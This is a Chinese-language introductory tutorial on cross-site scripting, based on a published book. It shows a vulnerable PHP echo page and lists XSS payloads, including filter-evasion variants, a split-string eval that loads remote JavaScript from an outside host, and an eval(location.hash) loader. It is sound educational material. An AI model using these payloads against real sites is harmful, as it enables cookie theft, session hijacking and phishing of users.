当前位置: 首页 > news >正文

XSS跨站脚本攻击剖析与防御:初识XSS

目录

跨站脚本介绍

1. 什么是XSS跨站脚本

2. XSS跨站脚本实例

3. XSS漏洞的危害

XSS的分类 

1. 反射型XSS

2. 持久性XSS

XSS构造 

1. 利用< >标记注射Html /Javascript

2. 利用HTML标签属性值执行XSS 

3. 空格回车Tab

4. 对标签属性值转码

5. 产生自己的事件 

6. 利用CSS跨站剖析 

7. 扰乱过滤规则

8. 拆分跨站法 

Shellcode的调用 

1. 动态调用远程 JavaScript

2. 使用window.location.hash 


 

跨站脚本介绍

1. 什么是XSS跨站脚本

攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

2. XSS跨站脚本实例

<html>

        <head>test</head>

        <body>

                <script>alert("XSS")</script>

         </body>

</html>

这是一段很简单的HTML代码,其中包括一个JavaScript语句块,该语句块使用内置的alert()函数来打开一个消息框,消息框中显示XSS信息。把以上代码保存为HTM或HTML文件,然后用浏览器打开。 

XSS输入也可能是HTML代码段,如要使网页不停地刷新,代码为:

<meta http-equiv="refresh" content="0;">

<html> <head>   <title> XSS测试 </title> </head> <body>   <form action="XSS.php" method="POST">请输入名字:<br><input type="text"name="name" value=""></input>    <input type="submit" value="提交"></input> </body>
</html>

嵌入其他网站的链接,代码为:

<iframe src=http://www.test.com width=0 height=0></iframe> 


html文件: 

<html> <head>   <title> XSS测试 </title> </head> <body>   <form action="XSS.php" method="POST">请输入名字:<br><input type="text"name="name" value=""></input>    <input type="submit" value="提交"></input> </body>
</html>

php文件:

<html> <head>   <title> 测试结果 </title> </head> <body>  <?php echo $_REQUEST[name];?> </body>
</html>

以上代码使用$_REQUEST[name]获取用户输入的name变量,然后直接echo输出。打开测试页面,随便输入一些信息,例如Lisa,然后单击【提交】按钮,页面把我们刚刚输入完完整整地输出来了。

3. XSS漏洞的危害

(1)网络钓鱼,包括盗取各类用户账号;

(2)窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;

(3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;

(4)强制弹出广告页面、刷流量等;

(5)网页挂马;

(6)进行恶意操作,例如任意篡改页面信息、删除文章等;(

(7)进行大量的客户端攻击,如DDoS攻击;

(8)获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;

(9)控制受害者机器向其他网站发起攻击;

(10)结合其他漏洞,如CSRF漏洞,实施进一步作恶;

(11)提升用户权限,包括进一步渗透网站;(

(12)传播跨站脚本蠕虫等;

   ……

XSS的分类 

1. 反射型XSS

反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意JavaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。

将恶意脚本附加到URL地址的参数中:

http://www.test.com/search.php?key="><script>alert("XSS")</script>

2. 持久性XSS

此类XSS不需要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。

XSS构造 

1. 利用< >标记注射Html /Javascript

<script>alert('XSS'); </script>

2. 利用HTML标签属性值执行XSS 

<table background="javascript:alert(/xss/)"></table>

3. 空格回车Tab

<img src="javas cript:alert(/xss/)" width=100>

4. 对标签属性值转码

<img src="javascrip&#116&#58alert(/XSS/);" >

5. 产生自己的事件 

<input type="button" value="click me" οnclick="alert('click me')" />

6. 利用CSS跨站剖析 

<div style="background-image:url(javascript:alert('XSS'))"><style>

7. 扰乱过滤规则

一个正常的XSS输入:<img src="javascript:alert(0);">

转换大小写后的XSS:<IMG SRC="javascript:alert(0);">

大小写混淆的XSS:<iMg sRC="jaVasCript:alert(0);">

不用双引号,而是使用单引号的XSS:<img src='javascript:alert(0);'>

不使用引号的XSS:<img src=javascript:alert(0);>

8. 拆分跨站法 

<script>z='document.'</script>

<script>z=z+'write("'</script>

<script>z=z+'<script'</script><script>z=z+' src=ht'</script>

<script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script>

<script>z=z+'.net/1.'</script>

<script>z=z+'js></sc'</script>

<script>z=z+'ript>")'</script><script>eval(z)</script>

上述代码的作用是引入一个字符串变量z,并且将下行代码拆分开来:document.write('<script src=//www.shell.net/1.js></script>')

Shellcode的调用 

所谓的 Shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞时所执行的代码。在XSS跨站脚本中,是指由JavaScript等脚本编写的XSS利用代码。

1. 动态调用远程 JavaScript

可以直接把Shellcode写到URL参数中,如:

http://www.bug.com/veiw.php?sort="><script>alert(/xss/)</script>

这里有个显而易见的缺点,就是恶意代码败露在URL链接中,容易使网站用户产生怀疑。此外,Web应用程序不仅会对当中的恶意代码进行过滤,也会限制URL的字符长度。所以,方便起见,Shellcode可写到其他服务器的文件上,然后再用<script>标签进行动态加载。

2. 使用window.location.hash 

如果仅仅是为了解决URL字符长度问题,还可以使用另一种方式实现Shellcode的存储和调用——利用window.location.hash属性。

location 是 JavaScript 管理地址栏的内置对象,比如 location.href 用来管理页面的 URL,用location.href=url就可以直接将页面重定向URL,而location.hash则可以用来获取或设置页面的标签值。比如 http://domain/#admin 的location.hash="#admin",利用这个属性值可以做一件非常有意义的事情。

http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')

substr()可在字符串中抽取从 start 下标(这里是 1 )开始的指定数目的字符,所以location.hash.substr(1) 的作用是抽取“#”符号后面的字符,即alert('xss');而eval()函数用来计算某个字符串,并执行其中的 JavaScript 代码。那么,eval(location.hash.substr(1))的功能就是执行 Url的#之后的JavaScript代码,通过这个技巧,就能先把Shellcode写到地址参数中再执行。 

参考文献:

《XSS跨站脚本攻击剖析与防御》-邱永华-人民邮电出版社-2013-09

http://www.lryc.cn/news/3696.html

相关文章:

  • Python 高级编程之网络编程 Socket(六)
  • centos学习记录
  • 为什么说网络安全是风口行业?
  • 12-PHP使用过的函数 111-120
  • 【JavaWeb项目】简单搭建一个前端的博客系统
  • iPerf3 -M参数详解,场景分析
  • java的基本语法以及注意事项
  • matlab搭建IAE,ISE,ITAE性能指标
  • docker安装mysql
  • Leetcode 回溯详解
  • AI_Papers:第一期
  • C/C++内存管理
  • 【大数据hive】hive 函数使用详解
  • 彻底搞懂分布式系统服务注册与发现原理
  • 安卓Camera2用ImageReader获取NV21源码分析
  • 24. 两两交换链表中的节点
  • linux006之帮助命令
  • 【C++初阶】十三、模板进阶(总)|非类型模板参数|模板的特化|模板分离编译|模板总结(优缺点)
  • Linux之文本搜索命令
  • 微信小程序Springboot 校园拼车自助服务系统java
  • 【Unity3D 常用插件】Haste插件
  • 【c++面试问答】全局变量和局部变量的区别
  • Java List集合
  • linux服务器挂载硬盘/磁盘
  • Java 抽象类
  • OpenPPL PPQ量化(5):执行引擎 源码剖析
  • 【脚本开发】运维人员必备技能图谱
  • N字形变换-力扣6-java
  • 概论_第5章_中心极限定理1__定理2(棣莫弗-拉普拉斯中心极限定理)
  • 详细解读503服务不可用的错误以及如何解决503服务不可用